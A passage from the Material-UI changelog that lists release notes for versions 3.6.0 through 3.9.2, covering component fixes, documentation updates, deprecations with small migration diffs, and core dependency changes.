improve i10n (#14457) @eps1lon\n- [docs] Fix IE11 crash on demo pages (#14466) @eps1lon\n- [docs] Add french translation (#14467) @zek0faws\n- [docs] Standardize compose util usage (#14472) @mbrookes\n- [docs] Additional tweaks to English l10n strings (#14471) @mbrookes\n- [examples] Improve the v3/v4 distinction (#14476) @oliviertassinari\n- [docs] Change interpolation library (#14481) @mbrookes\n- [docs] Fix showcase (#14494) @oliviertassinari\n- [docs] New translations (#14501) @mbrookes\n- [examples] Fix download link in example README (#14372) @clk1006\n- [docs] Revise the wrapping components guide wording (#14381) @mbrookes\n- [README] Fix the underscored space on hover, rearrange thanks (#14388) @mbrookes\n- [docs] Update use-media-query.md (#14389) @edwin32\n- [docs] Fix the SW cache between updates (#14390) @oliviertassinari\n- [docs] Add analytics to language notifications (#14402) @mbrookes\n- [docs] Targeted edit button URL (#14395) @mbrookes\n- [docs] Remove recompose/compose (#14421) @mbrookes\n- [docs] Generalize non-markdown I18n (#14413) @mbrookes\n- [docs] Fix the css-in-js styled section to match currying implementation (#14418) @gutofoletto\n\n### Core\n\n- [core] Use frozen-lockfile by default (#14433) @eps1lon\n- [utils] Add support for forwardRef components in getDisplayName (#14429) @eps1lon\n- [test] Back to 100% test coverage (#14458, #14460) @oliviertassinari\n- [core] Upgrade the dev dependencies (#14463, #14385) @oliviertassinari\n- [core] Prepare next versions (#14473) @oliviertassinari\n- [typescript] Enable generic props for certain components (#13868) @pelotom\n- [core] Remove recompose (#14479) @oliviertassinari\n- [typescript] Add type test for style lib interopability (#14482) @eps1lon\n- [core] Upgrade to Next.js 8 (#14493)\n- [core] Improve tree-shakeability (#13391) @eps1lon\n- [core] Use common copy-files script (#14406) @eps1lon\n- [core] Enable innerRef on ListItem and MenuItem (#14423) @eps1lon\n- [core] Remove typings for `/es` build (#14422) @eps1lon\n- [core] Enable innerRef on Backdrop, List, MenuList and Paper (#13722) @eps1lon\n\n## 3.9.2\n\n_Feb 03, 2019_\n\nA big thanks to the 16 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- ⚛️ Add a new Breadcrumb component to the lab (#14084) @mbrookes\n  https://mui.com/lab/breadcrumbs\n- 📝 AppBar and Textfield demos in TypeScript (#13229) @eps1lon\n- 📝 Prepare support for 5 new documentation languages\n- And many more 🐛 bug fixes and 📝 documentation improvements.\n\n### `@material-ui/core@v3.9.2`\n\n- [Portal] Fix onRendered being called before child componentDidUpdate (#14305) @joshwooding\n- [Select] Id should not be set from name if missing (#14322) @aericson\n- [ListItem] Add alignItems prop to ListItem.d.ts (#14334) @EndiM\n- [useMediaQuery] Fix typings for options object (#14339) @johannwagner`\n- [NativeSelect] Fix option background for dark theme (#14340) @ryancogswell\n- [Button] Add color inherit to outlined variant of button component (#14332) @EndiM\n- [ListItem] Improve ListItemSecondaryAction DX (#14350) @eps1lon\n- [ExpansionPanel] Fix userAgent check (#14361) @Floriferous\n\n### `@material-ui/styles@v3.0.0-alpha.10`\n\n- [styles] Export StyleRules as public type #14362 @VincentLanglet\n\n### `@material-ui/lab@v3.0.0-alpha.30`\n\n- [Slider] Added valueReducer prop (#12665) @aseem191\n- [lab] Add a Breadcrumb component (#14084) @mbrookes\n\n### Docs\n\n- [docs] Add CloudHealth to showcase, reorder based on latest pageviews (#14307) @mbrookes\n- [docs] New translations (#14308) @oliviertassinari\n- [docs] New Crowdin translations (#14315) @muibot\n- [docs] Fix i18n logic (#14316) @oliviertassinari\n- [docs] Translate the key wordings (#14317) @oliviertassinari\n- [docs] Add sorting to Showcase (#14312) @mbrookes\n- [docs] Link ignore target blank (807bab8) @oliviertassinari\n- [docs] Reset Table page number (#14354) @rafaelmarinids\n- [docs] Explain bootstrap issue for nextjs-hooks (#14353) @avetisk\n- [docs] Improve wrapping docs (#14351) @eps1lon\n- [docs] AppBar and Textfield demos in TypeScript (#13229) @eps1lon\n- [docs] Minor Hook Demo fixes (#14367) @joshwooding\n- [docs] Enable the i18n help messages (#14356) @oliviertassinari\n- [docs] Fix SW cache invalidation (242bff9) @oliviertassinari\n\n### Core\n\n- [README] Add all the products sponsoring open source (#14311) @oliviertassinari\n- [core] Disable CircleCI on l10n (#14314) @oliviertassinari\n- [test] Fix CDN test (#14324) @oliviertassinari\n- [core] Fix innerRef being considered injected with certain HOCs (#14333) @eps1lon\n- [test] Update test/README.md section (#14355) @Dynogic\n\n## 3.9.1\n\n_Jan 26, 2019_\n\nA big thanks to the 30 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- 🐛 Fix many Dialog issues (#13789, #14240, #14288) @joshwooding, @zharris6\n- 📝 Promote material-ui-pickers (#14277)\n- 🚀 Remove the keycode dependency (#14248)\n- And many more 🐛 bug fixes and 📝 documentation improvements.\n\n### `@material-ui/core@v3.9.1`\n\n- [Tooltip] Add example using node (#14182) @Varad25\n- [Badge] Make badgeContent optional in ts too (#14186) @kLabz\n- [CircularProgress] Fix animation jumps on indeterminate variant (#14198) @rfbotto\n- [Textarea] Fix line height visibility issue on SSR (#14197) @rfbotto\n- [Link] Fix type declaration for props (#14193) @lunaryorn\n- [useMediaQuery] Synchronize TypeScript definition with js one (#14214) @sthenault\n- [MenuList] Add `home` and `end` key support (#14212) @dallin-christensen\n- [InputAdornment] Automatically inherit the variant (#14023) @joshwooding\n- [Dialog] Add missing PaperComponent property in the definition (#14240) @zharris6\n- [Dialog] Check target has not changed before closing (#13789) @joshwooding\n- [TextField] Fix to expose helperText for accessibility (#14266) @mlenser\n- [Modal] Hide the manager property (#14273) @oliviertassinari\n- [GridListTileBar] Add missing titleWrap key (#14275) @nroot86vml\n- [Pickers] Promote material-ui-pickers (#14277) @oliviertassinari\n- [Select] Add customization demo (#14281) @bemineni\n- [ExpansionPanel] Fix square support (#14282) @brandonvilla21\n- [Dialog] Fix scrollbar (#14288) @joshwooding\n- [LinearProgress] Remove dead bar2Determinate CSS class (#14298) @lmcarreiro\n- [Select] Help automated UI testing (#14289) @oumaima1234\n- [MobileStepper] Fix typo CSS API (#14300) @DenrizSusam\n- [Link] Add TypeScript test and distinguish from react-router link test (#14304) @rosskevin\n\n### `@material-ui/styles@v3.0.0-alpha.9`\n\n- [styles] Better warning message (#14290) @oliviertassinari\n- [styles] Document the right react-jss version for legacy style modules (#14237) @mrmedicine\n\n### `@material-ui/lab@v3.0.0-alpha.29`\n\n- [Slider] Support multitouch for dragging multiple sliders (#13320) @Pajn\n\n### `@material-ui/system@v3.0.0-alpha.2`\n\n- [system] Add fractions support (#14209) @oliviertassinari\n- [system] Better zindex documentation (#14229) @oliviertassinari\n\n### Docs\n\n- [docs] Update supported components page (#13905) @MidnightDesign\n- [docs] Fix componentPropType display (#14194) @eps1lon\n- [docs] Fix fade transition visual bug on codesandbox (#14200) @rfbotto\n- [docs] Handle missing errors more gracefully (#14210) @oliviertassinari\n- [docs] Fix grammar in related-projects.md (#14227) @jasonkylefrank\n- [docs] Add Portuguese translation notification (#14230) @mbrookes\n- [docs] New Crowdin translations (#14223) @muibot\n- [docs] Minor fix of selection control labels doc (#14238) @ccesare\n- [docs] Correct Bethesda.net title in app list (#14242) @sbolel\n- [docs] Change ponyfill to polyfill in use-media-query.md (#14215) @MathiasKandelborg\n- [docs] Fix typos on the links for the JSS docs (#14235) @viniciusCamargo\n- [docs] Improve the performance (#14250) @oliviertassinari\n- [docs] Notification by locale (#14256) @oliviertassinari\n- [docs] Add component prop and React Router usage to TypeScript guide (#14170) @hedgerh\n- [docs] Tiny fixes (#14259) @mbrookes\n- [docs] Better server-side rendering example (#14269) @unalterable\n- [docs] Add Misheneye to the showcase (#14262) @gdub01\n\n### Core\n\n- [core] Upgrade the dependencies (#14196) @oliviertassinari\n- [core] Remove keycode() (#14248) @oliviertassinari\n- [core] Update the dev dependencies (#14261) @oliviertassinari\n\n## 3.9.0\n\n_Jan 14, 2019_\n\nA big thanks to the 17 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- 💄 Add a new Link component (#14093) @joshwooding\n- 💄 Important update of the Badge component (#14121) @joshwooding\n- And many more 🐛 bug fixes and 📝 documentation improvements.\n\n### `@material-ui/core@v3.9.0`\n\n- [ButtonBase] Reduce keyup timeout interval to 500ms (#14120) @rfbotto\n- [InputAdornment] Add disablePointerEvents prop (#14123) @rfbotto\n- [Chip] Fix wrong font color for default variant with secondary color (#14125) @bjm904\n- [IconButton] Warn when providing onClick to a child of a button (#14160) @oliviertassinari\n- [Link] Refinement (#14162) @oliviertassinari\n- [Modal] Change keydown handling to use synthetic event (#14134) @rfbotto\n- [Badge] Give Badge dynamic width and other improvements (#14121) @joshwooding\n\n### `@material-ui/styles@v3.0.0-alpha.8`\n\n- [styles] Add test case for class extension with classes prop (#14127) @eps1lon\n- [styles] Document the CSS prefixing strategy on the server (#14139) @eps1lon\n- [styles] Add missing dependency hoist-non-react-statics (#14164) @joglr\n\n### Docs\n\n- [docs] Fix select multiple prop description (#13923) @AkselsLedins\n- [docs] Reduce by /50 the website traffic (#14122) @oliviertassinari\n- [docs] Handle the exactProp usage in the API generation (#14130) @tallpants\n- [docs] Fix minor wording/typo issues (#14142) @eps1lon\n- [docs] Add gadr.io in the showcase (#14128) @clabbeaf\n- [docs] Fix deprecated Typography variants warning in demos (#14156) @joshwooding\n- [docs] Add 5 sites to Showcase, simplify image paths (#14154) @mbrookes\n- [docs] Add polyfill suggestion to ButtonBase (#14158) @ianschmitz\n- [docs] Add a new site to showcase (#14163) @ValleyZw\n- [docs] Update Tooltip info on prop spread (#14165) @e-x-wilson\n- [docs] Fix typo in click-anyway-listener-zh.md (#14118) @Wu-Qijun\n- [docs] Update example projects with Material Sense (#14168) @alexanmtz\n- [docs] Icon name consistency (#14171) @harvey56\n- [docs] Add notes about next branch (#14151) @eps1lon\n- [docs] Add Yakaz to homepage, backers & readme (#14180) @mbrookes\n\n### Core\n\n- [core] Remove unnecessary plugins in .eslintrc (#14161) @WebDeg-Brian\n- [core] Fix the CDN release (#14172) @oliviertassinari\n- [core] Remove unnecessary rules in .eslintrc (#14173) @WebDeg-Brian\n\n## 3.8.3\n\n_Jan 9, 2019_\n\nA big thanks to the 5 contributors who made this release possible!\n\nWe are making a quick release to fix an important TypeScript regression.\n\n### `@material-ui/core@v3.8.3`\n\n- [InputBase] Fix the `InputBaseComponentProps` type (#14082) @franklixuefei\n- [Link] Add a Link component (#14093) @joshwooding\n- [core] Fix jss v10 types being used (#14117) @eps1lon\n\n### Docs\n\n- [themes] Fix typo on Onepirate Forgot Password page (#14112) @mbrookes\n- [docs] Fix codesandbox examples with React Hooks (#14116) @asokani\n\n## 3.8.2\n\n_Jan 7, 2019_\n\nA big thanks to the 20 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- 📝 Add 36 new sites in the showcase (#14083) @mbrookes.\n- And many more 🐛 bug fixes and 📝 documentation improvements.\n\n### `@material-ui/core@v3.8.2`\n\n- [TableCell] Add align to the TypeScript definition (#14046) @rfbotto\n- [withWidth] Add TypeScript definitions for options (#14054) @anthotsang\n- [Button] Fix vertical alignment of text (#14051) @joshwooding\n- [Tabs] Update scrollable property description (#14059) @jmcpeak\n- [Tabs] Add standard variant (#14067) @oliviertassinari\n- [RadioGroup] Support defaultValue in uncontrolled mode (#14092) @Slessi\n- [core] Relax @babel/runtime version to ^7.2.0 (#14096) @NMinhNguyen\n- [MenuList] Wrap focus by default, add disableListWrap (#14100) @dallin-christensen\n\n### `@material-ui/icons@v3.0.2`\n\n- [core] Relax @babel/runtime version to ^7.2.0 (#14096) @NMinhNguyen\n\n### `@material-ui/lab@v3.0.0-alpha.28`\n\n- [core] Relax @babel/runtime version to ^7.2.0 (#14096) @NMinhNguyen\n\n### `@material-ui/styles@v3.0.0-alpha.7`\n\n- [styles] Add a note about the backward compatibility (#14047) @oliviertassinari\n- [styles] Change dangerouslyUseGlobalCSS to only affect static style sheets (#14089) @joshwooding\n- [styles] Upgrade JSS to 10.0.0-alpha.7 (#14090) @oliviertassinari\n- [core] Relax @babel/runtime version to ^7.2.0 (#14096) @NMinhNguyen\n\n### `@material-ui/system@v3.0.0-alpha.1`\n\n- [core] Relax @babel/runtime version to ^7.2.0 (#14096) @NMinhNguyen\n\n### `@material-ui/utils@v3.0.0-alpha.3`\n\n- [core] Relax @babel/runtime version to ^7.2.0 (#14096) @NMinhNguyen\n\n### `@material-ui/docs@v3.0.0-alpha.9`\n\n- [core] Relax @babel/runtime version to ^7.2.0 (#14096) @NMinhNguyen\n\n### Docs\n\n- [docs] Fix demo iframe styling in Firefox (#14056) @joshwooding\n- [docs] CSS to Material UI loader documentation updated (#14060) @Kaliyani\n- [docs] Fix spelling mistake in Premium themes footer (#14071) @nikhilem\n- [docs] Update showcase with 36 new sites (#14083) @mbrookes\n- [docs] Update URL for @material-ui/system (#14043) @NMinhNguyen\n- [docs] Add complementary form building project (#14081) @skirunman\n- [docs] Update broken link to cssinjs.org in css-in-js (#14080) @valerieernst\n- [docs] Tweeper theme (#14034) @siriwatknp\n- [docs] Add Code Typing Tutor to Showcase (#14061) @kulakowka\n- [docs] Improve MUI System variant demo (#14091) @oliviertassinari\n- [docs] Add PhotoUtils to Showcase (#14098) @Maxim-Gurin\n- [docs] Add GovX to Showcase, move Onepixel (#14094) @mbrookes\n- [docs] Simplify the color documentation page (#14103) @oliviertassinari\n- [docs] Correct API typos (#14104) @nitayneeman\n- [docs] Add Tidelift security link to README (#14108) @mbrookes\n- [docs] Showcase, reorder based on SimilarWeb Global Rank (#14106) @mbrookes\n\n### Core\n\n- [core] Fix multiline deprecatedPropType (#14049) @joshwooding\n- [core] Remove opinionated will-change usage (#14036) @joshwooding\n- [core] Update benchmark (#14065) @GuillaumeCisco\n- [test] Use yarn frozen lockfile (#14050) @rosskevin\n\n## 3.8.1\n\n_Dec 30, 2018_\n\n### `@material-ui/core@v3.8.1`\n\n- Fix utils.chainPropTypes issue\n\n### `@material-ui/styles@v3.0.0-alpha.6`\n\n- Fix utils.chainPropTypes issue\n\n### `@material-ui/lab@v3.0.0-alpha.27`\n\n- Fix utils.chainPropTypes issue\n\n### `@material-ui/utils@v3.0.0-alpha.2`\n\n- Fix utils.chainPropTypes issue\n\n## 3.8.0\n\n_Dec 30, 2018_\n\nA big thanks to the 15 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- System package 💎 & Box component 🛠️\n- Demos 100% powered by React hooks ⚛️ (#13497) @adeelibr\n- Massive speed-up of the SSR performance 🚀\n- A new Instagram demo theme 💅 https://mui.com/premium-themes/instapaper/\n- And many more 🐛 bug fixes and 📝 documentation improvements.\n\n### `@material-ui/core@v3.8.0`\n\n#### Deprecations\n\n- [Tabs] Add variant prop and deprecate fullWidth and scrollable props (#13980)\n\nThe Tabs `fullWidth` and `scrollable` properties can't be used at the same time. The API change prevents any awkward usage.\n\n```diff\n-<Tabs fullWidth>\n+<Tabs variant=\"fullWidth\">\n```\n\n#### Changes\n\n- [Fab] Add styles to make size property work with extended property (#13973) @rfbotto\n- [CardHeader] Change action element to have a fixed right margin (#13992) @inv8der\n- [SvgIcon] Add createSvgIcon type definition (#13994) @yifei-fu\n- [ExpansionPanel] Add customized demo (#13998) @rfbotto\n- [Button] Fix vertical text alignment by reducing padding (#13931) @adipascu\n- [Card] Update the action spacing to better match the spec (#14005) @oliviertassinari\n- [LinearProgress] Change height from 5 to 4 pixels (#14009) @almondj\n- [Modal] Add cross references from Modal docs to other components (#14025) @ryancogswell\n- [Tabs] Fix infinite loop in the scroll button logic (#14033) @joshwooding\n- [styles] Fix component animations (#14035) @joshwooding\n\n### `@material-ui/system@v3.0.0-alpha.0`\n\n- @material-ui/system (#13632) @oliviertassinari\n- [system] Fix responsivePropType typo (#14011) @eps1lon\n- [styles] Add defaultTheme option for makeStyles (#14032) @joshwooding\n\n### `@material-ui/styles@v3.0.0-alpha.5`\n\n- [styles] Upgrade JSS to v10-alpha (#14006) @oliviertassinari\n- [styles] Hash the classnames (#14013) @oliviertassinari\n- [styles] Fix TypeScript throwing in makeStyles with no props required (#14019) @eps1lon\n\n### Docs\n\n- [examples] Add nextjs-hooks-with-typescript (#13981) @virzak\n- [docs] Theme usage with styled-components (#13999) @oliviertassinari\n- [docs] Update the Emotion documentation (#14001) @oliviertassinari\n- [docs] Duplicate all the demos with the React Hooks API (#13497) @adeelibr\n- [docs] Set react-jss version in nextjs example (#14015) @goofiw\n- [docs] Fix fullWidth deprecation warnings (#14010) @oliviertassinari\n- [docs] Add note on archived components (#14000) @rudolfolah\n- [docs] Add Instagram theme (#14007) @siriwatknp\n- [docs] Removed focus outline on modal demo (#14022) @sebasrodriguez\n- [styles] Document withStyles defaultTheme option (#14029) @joshwooding\n- [docs] Update the CodeFund embed script (#14031) @oliviertassinari\n\n### Core\n\n- [core] Fix running docs:api on Windows and other minor spelling mistakes (#13989) @joshwooding\n- [core] Sanitize the benchmark (#14012) @oliviertassinari\n\n## 3.7.1\n\n_Dec 22, 2018_\n\nA big thanks to the 15 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- ⚛️ Introduce a new useMediaQuery hook (#13867) @joshwooding\n  https://mui.com/layout/use-media-query\n- ⛄️ Support uncontrolled RadioGroup mode (#13929) @rfbotto\n- And many more 🐛 bug fixes and 📝 documentation improvements.\n\n### `@material-ui/core@v3.7.1`\n\n- [Slide] Remove direction from being passed on to children (#13930) @rfbotto\n- [Dialog] Allow use of custom className under PaperProps (#13935) @eladhayun\n- [Input] Check custom input inputRef implementation (#13934) @henrik1234\n- [BottomNavigation] Add component prop (#13960) @lychyi\n- [TextField] Add Solo Field demo (#13945) @joshwooding\n- [RadioGroup] Support uncontrolled mode (#13929) @rfbotto\n- [TextField] Reword solo textfield documentation (#13970) @joshwooding\n- [layout] Add new useMediaQuery hook (#13867) @joshwooding\n- [Tab] Remove font size change logic (#13969) @rfbotto\n- [Autocomplete] Update react-select demo to have isClearable set to true (#13975) @rfbotto\n\n### Docs\n\n- [docs] Fix Typo in BottomNavigationAction label (#13943) @ovidiumihaibelciug\n- [docs] Update album page-layout preview image album.png (#13946) @dvorwak\n- [docs] Add a next.js demo with hooks (#13920) @oliviertassinari\n- [docs] Fix select multiple prop description (91a95d38218459282b381a23653b722493392190) @AkselsLedins\n- [docs] Add AospExtended Download center to showcase (#13956) @ishubhamsingh\n- [docs] Fix i18n page transition (#13947) @unordered\n- [docs] Fix material-ui-pickers codesandbox demo (#13976) @rfbotto\n- [docs] Fix a typo, the word \"the\" was repeated in Layout Grid (#13983) @sgoldens\n- [docs] Improve demos loading (#13959) @adeelibr\n- [docs] Improve the service-worker logic (#13987) @oliviertassinari\n\n### Core\n\n- [CDN] Fix the UMD build (#13928) @oliviertassinari\n- [ci] Exit with non-zero if argos cli failed (#13954) @eps1lon\n- [core] Upgrade JSS to latest minor version (#13950) @doaboa\n\n## 3.7.0\n\n_Dec 17, 2018_\n\nA big thanks to the 11 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- 💅 Update some components to better match the Material specification (#13788, #13827) @bdeloeste @joshwooding.\n- 📅 Add a material-ui-pickers live demo (#13697) @dmtrKovalenko.\n- ⚛️ A first step toward converting all the demos to React Hooks (#13873) @adeelibr.\n- And many more 🐛 bug fixes and 📝 documentation improvements.\n\n### `@material-ui/core@v3.7.0`\n\n#### Deprecations\n\nWe are allowing more align variants (left, center, right, inherit, justify).\nFollowing our [API guideline](https://mui.com/material-ui/guides/api/), we are using an enum over a boolean.\nKeep in mind that monetary or generally number fields **should be right aligned** as that allows\nyou to add them up quickly in your head without having to worry about decimals.\n\n```diff\n-<TableCell numeric>\n+<TableCell align=\"right\">\n```\n\n- [TableCell] Add align property (#13860) @rfbotto\n\n#### Changes\n\n- [Card][list] Change subcomponents to have fixed gutters (#13788) @joshwooding\n- [Button] Fix padding for Text Button variant to adhere to spec (#13827) @bdeloeste\n- [ButtonBase] Add stop ripple on context menu event (#13740) @joshwooding\n- [Menu] Add reason value and update documentation for on close reason (#13877) @rfbotto\n- [Dialog] Add a `PaperComponent` property & draggable demo (#13879) @rfbotto\n- [Tabs] Correct typo in error message (#13902) @timmydoza\n- [Tooltip] Fix hover display issue (#13911) @oliviertassinari\n\n### `@material-ui/lab@v3.0.0-alpha.26`\n\n- [ToggleButton] Change the classes structure to match the core components convention (#13723) @DonBrody\n\n### `@material-ui/styles@v3.0.0-alpha.4`\n\n- [styles] Remove hoisting of static properties in HOCs (#13698) @eps1lon\n\n### `@material-ui/utils@v3.0.0-alpha.1`\n\n- [utils] Add component propType (#13816) @eps1lon\n\n### Docs\n\n- [docs] Fix search suggestions on dark mode (#13874) @rfbotto\n- [docs] Add accessibility section to selection-controls with demo (#13896) @wyseguyonline\n- [docs] Add support for multiple demo variants - for example JS or Hooks (#13873) @adeelibr\n- [docs] Remove the withRoot HOC (#13909) @oliviertassinari\n- [docs] Add material-ui-pickers in pickers page (#13697) @dmtrKovalenko\n- [docs] Continue #13806 and port back some fix from @system (#13917) @oliviertassinari\n- [docs] Notify that we will do core/MuiThemeProvider -> styles/ThemeProvider (#13910) @Skn0tt\n- [docs] Improve the state override story (#13919) @oliviertassinari\n\n### Core\n\n- [core] 100% remove the prop types (#13859) @oliviertassinari\n- [core] Prefix the errors with Material UI (#13892) @oliviertassinari\n\n## 3.6.2\n\n_Dec 9, 2018_\n\nA big thanks to the 20 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- 🎨 Add a new Onepirate theme demo (#13769) @oliviertassinari\n  You can preview it following [this link](https://mui.com/premium-themes/paperbase/).\n- 📝 Add virtualized table demo (#13786) @joshwooding\n- 🚀 Avoid unnecessary Table re-rendering (#13832) @petrjaros\n- And many more 🐛 bug fixes and documentation improvements.\n\n### `@material-ui/core@v3.6.2`\n\n- [Tooltip] Suppress warning if button is disabled and title is empty (#13785) @rfbotto\n- [Dialog] Warn if className in PaperProps is set (#13797) @eps1lon\n- [TextField] Fix textfield label position when empty (#13791) @Studio384\n- [Popper] Save 7 kB gzipped (for people only using it) (#13804) @oliviertassinari\n- [Modal] Handle modal mount interruption (#13778) @amensouissi\n- [Select] Make value prop required in TypeScript (#13810) @t49tran\n- [Popover] Fix onEntering event propagation (#13821) @ekoeditaa\n- [Input] Make CSS override a bit simpler (#13825) @euharrison\n- [LinearProgress] Add determinate and indeterminate classes to root element (#13828) @alxsnchez\n- [Select] Support native multiple value (#13830) @rfbotto\n- [BottomNavigation] Improve action padding (#13851) @rfbotto\n- [Dialog] Add dialog with close button to demos (#13845) @rfbotto\n- [Tabs] Reduce the bundle size (#13853) @oliviertassinari\n- [Dialog] Add missing TypeScript style rule (#13856) @garredow\n- [Table] Avoid unnecessary re-rendering (#13832) @petrjaros\n\n### `@material-ui/lab@v3.0.0-alpha.25`\n\n- [ToggleButtonGroup] Consider nullish instead of falsy value as no selected value (#13494) @ItamarShDev\n- [Slider] Update SliderClassKey types (#13826) @guiihlopes\n- [SpeedDialAction] Add TooltipClasses prop (#13848) @mbrookes\n- [ToggleButton] Change ToggleButtonGroup non-exclusive default value to an empty array (#13857) @joshwooding\n\n### `@material-ui/styles@v3.0.0-alpha.3`\n\n- [styles] Infer optional props argument for makeStyles in TypeScript (#13815) @oliviertassinari\n\n### Docs\n\n- [docs] Add @eps1lon to the team page (#13768) @oliviertassinari\n- [docs] Add a new onepirate theme (#13769) @oliviertassinari\n- [docs] Link tags HTML vs JSX (#13775) @benbowler\n- [docs] Missing text in docs (#13798) @Skn0tt\n- [docs] Add virtualized table demo (#13786) @joshwooding\n- [docs] Add Open Collective gold sponsors manually (#13806) @mbrookes\n- [docs] Add example of globally disabling animations (#13805) @joshwooding\n- [docs] Fix KeyboardIcon import name (#13822) @bryantabaird\n- [docs] Force common hoist-non-react-statics version (#13818) @eps1lon\n- [docs] Improve the theme nesting documentation (#13843) @oliviertassinari\n- [docs] Add more details regarding installation of material-ui/styles (#13813) @wilcoschoneveld\n- [docs] Fix broken link anchor (#13862) @mvasin\n\n### Core\n\n- [typescript] Add test case for List type limitations (#13764) @eps1lon\n- [core] Remove unused lint directives (#13766) @eps1lon\n- [test] Fix running tests on Windows (#13852) @joshwooding\n- [core] Upgrade the dependencies (#13858) @oliviertassinari\n\n## 3.6.1\n\n_Dec 1, 2018_\n\nA big thanks to the 15 contributors who made this release possible!\n\nThere are no fundamental changes in this version.\nIt's a stability release after v3.6.0. It contains tons of bug fixes 🐛.\n\n### `@material-ui/core@v3.6.1`\n\n- [Dialog] Add xl maxWidth and demo component (#13694) @dispix\n- [Dialog] Add missing TypeScript style rule (ddfa8e0215bfe895efcb8da69f1ea3cc3b1370ff) @oliviertassinari\n- [ClickAwayListener] Ignore touchend after touchmove (#13689) @hsimah\n- [Tooltip] Hide native title when disableHoverListener is true (#13690) @joshwooding\n- [withTheme] Fix typography warning (#13707) @jmcpeak\n- [Fab] Add Fab type declaration to index and theme (#13715) @Naturalclar\n- [InputBase] Remove dead disableUnderline property (#13720) @PierreCapo\n- [FilledInput] Fix disableUnderline property (#13719) @ekoeditaa\n- [SwitchBase] Fix error not being thrown when controlled state is changed (#13726) @joshwooding\n- [TextField] Better support select object value (#13730) @yezhi780625\n- [TablePagination] Support native selection (#13737) @jsdev\n- [Modal] Fix concurrency regression (#13743) @oliviertassinari\n- [LinearProgress] Remove dead code (#13749) @ekoeditaa\n- [typescript] Add test case for FormControl type limitations (#13754) @eps1lon\n- [Popover] Handle resize close concurrency issue (#13758) @oliviertassinari\n- [Avatar] Remove truthiness check on childrenProp (#13759) @camilleryr\n\n### `@material-ui/styles@v3.0.0-alpha.2`\n\n- [styles] Add options definitions for makeStyles (#13721) @eps1lon\n- [styles] Loosen props consistency check in styled (#13755) @eps1lon\n\n### Docs\n\n- [docs] Add support for changing react version in codesandbox demos (#13686) @joshwooding\n- [changelog] Add deprecation notice for Divider (#13700) @eps1lon\n- [docs] Add notistack demo to the snackbar page (#13685) @iamhosseindhv\n- [docs] Remove Grid List dead code (#13731) @akhil-gautam\n- [docs] Reduce the no-results rate on Algolia (#13741) @oliviertassinari\n- [docs] Fix concurrency with Frame demos (#13747) @oliviertassinari\n\n### Core\n\n- [test] Correct the link to the example test (#13709) @mdcanham\n- [styles] Fix tslint false negative with outdated local builds (#13750) @eps1lon\n\n## 3.6.0\n\n_Nov 26, 2018_\n\nA big thanks to the 28 contributors who made this release possible!\n\nThe last release was two weeks ago.\nLast weekend, we have missed the release train 🚃.\nAs a consequence, this is a dense release.\n\nHere are some highlights ✨:\n\n- 🎨 Add a new Firebase theme demo (#13579) @siriwatknp.\n  You can preview it following [this link](https://mui.com/premium-themes/paperbase/).\n- ⚛️ Introduce a new Fab component (#13573) @mbrookes.\n- ⛏ Fix more StrictMode warnings (#13590) @eps1lon.\n- And many more 🐛 bug fixes and 📝 documentation improvements.\n\n### `@material-ui/core@v3.6.0`\n\n#### Deprecations\n\n- [Fab] Extract from Button as new component (#13573) @mbrookes\n\nThe floating action button doesn't share many styles with the default button component.\nWe are extracting the variant into its own component.\nThis way, we better isolate the concerns.\nWe will remove the FAB styles from the button in v4, making the `Button` component more lightweight, a win for people overriding our styles.\n\n```diff\n-import Button from '@material-ui/core/Button';\n+import Fab from '@material-ui/core/Fab';\n\n-<Button variant=\"fab\" color=\"primary\">\n+<Fab color=\"primary\">\n  <AddIcon />\n-</Button>\n+</Fab>\n```\n\n- [Divider] Add support for middle divider by introducing a `variant` prop (#13574) @joshwooding\n\nWe are introducing a new variant to the divider component: middle. Following our API guideline, we can no longer use a boolean property, it needs to be an enum, hence the introduction of the variant property.\n\n```diff\nimport Divider from '@material-ui/core/Divider';\n\n-<Divider inset />\n+<Divider variant=\"inset\" />\n```\n\n#### Changes\n\n- [FormControlLabel] Fix documentation warnings (#13583) @dsbrutha777\n- [ExpansionPanelSummary] Fix event forwarding (#13582) @jmetev1\n- [Button] Move deprecated variants to the end of the list (#13584) @avetisk\n- [FormControl] Use stable context API (#13590) @eps1lon\n- [TablePagination] Improve TypeScript definition (#13601) @xiaoyu-tamu\n- [SwipeableDrawer] Add `SwipeAreaProps` property (#13592) @SerhiiBilyk\n- [ListItem] Add three-line support (#13553) @ntorion\n- [Grid] Fix the IE11 issue in the demo (7d2070fb388295d38806ecc49717006f34393e74) @oliviertassinari\n- [Zoom] Correct transition delay value of the example (#13645) @t49tran\n- [Tabs] Improve the warning message (#13640) @oliviertassinari\n- [Grow] Condense the demo (#13665) @Thyix\n- [Tooltip] Fix the property forwarding priority (#13667) @oliviertassinari\n- [Modal] Fix the close jump on Windows (#13674) @oliviertassinari\n- [Select] Support object value (#13661) @yezhi780625\n- [Menu] Fix wrong condition (#13675) @dolezel\n\n### `@material-ui/lab@v3.0.0-alpha.24`\n\n- [Slider] Fix sticky slider when mousing off the window then back in (#13479) @gkjohnson\n- [Slider] Fix visual hover state on disabled slider (#13638) @eps1lon\n- [Slider] Add missing thumb TypeScript definition (#13650) @dhiroll\n\n### `@material-ui/styles@v3.0.0-alpha.1`\n\n- [styles] Add TypeScript declarations (#13612) @eps1lon\n\n### `@material-ui/docs@v3.0.0-alpha.8`\n\n- Fix the @material-ui/utils require error.\n\n### Docs\n\n- [docs] Add redirect rule for moved page layout examples (#13588) @mbrookes\n- [docs] Add the selfeducation.app showcase (#13620) @kulakowka\n- [docs] Warn about the Dynamic CSS alpha state (#13619) @WebDeg-Brian\n- [docs] Learn Material UI (#13624) @oliviertassinari\n- [docs] Add a Firebase example in the premium-theme section (#13579) @siriwatknp\n- [docs] Increase clarity around the usage of font icons (#13628) @JosephMart\n- [docs] Add swimmy.io to showcase page (#13637) @uufish\n- [docs] Correct typo in comment of snackbar, children (#13651) @kobi\n- [docs] Improve Grid limitation description (#13668) @sshevlyagin\n- [docs] Fix theme menu link (#13669) @iamhosseindhv\n- [docs] Change &quote; to &apos; (#13678) 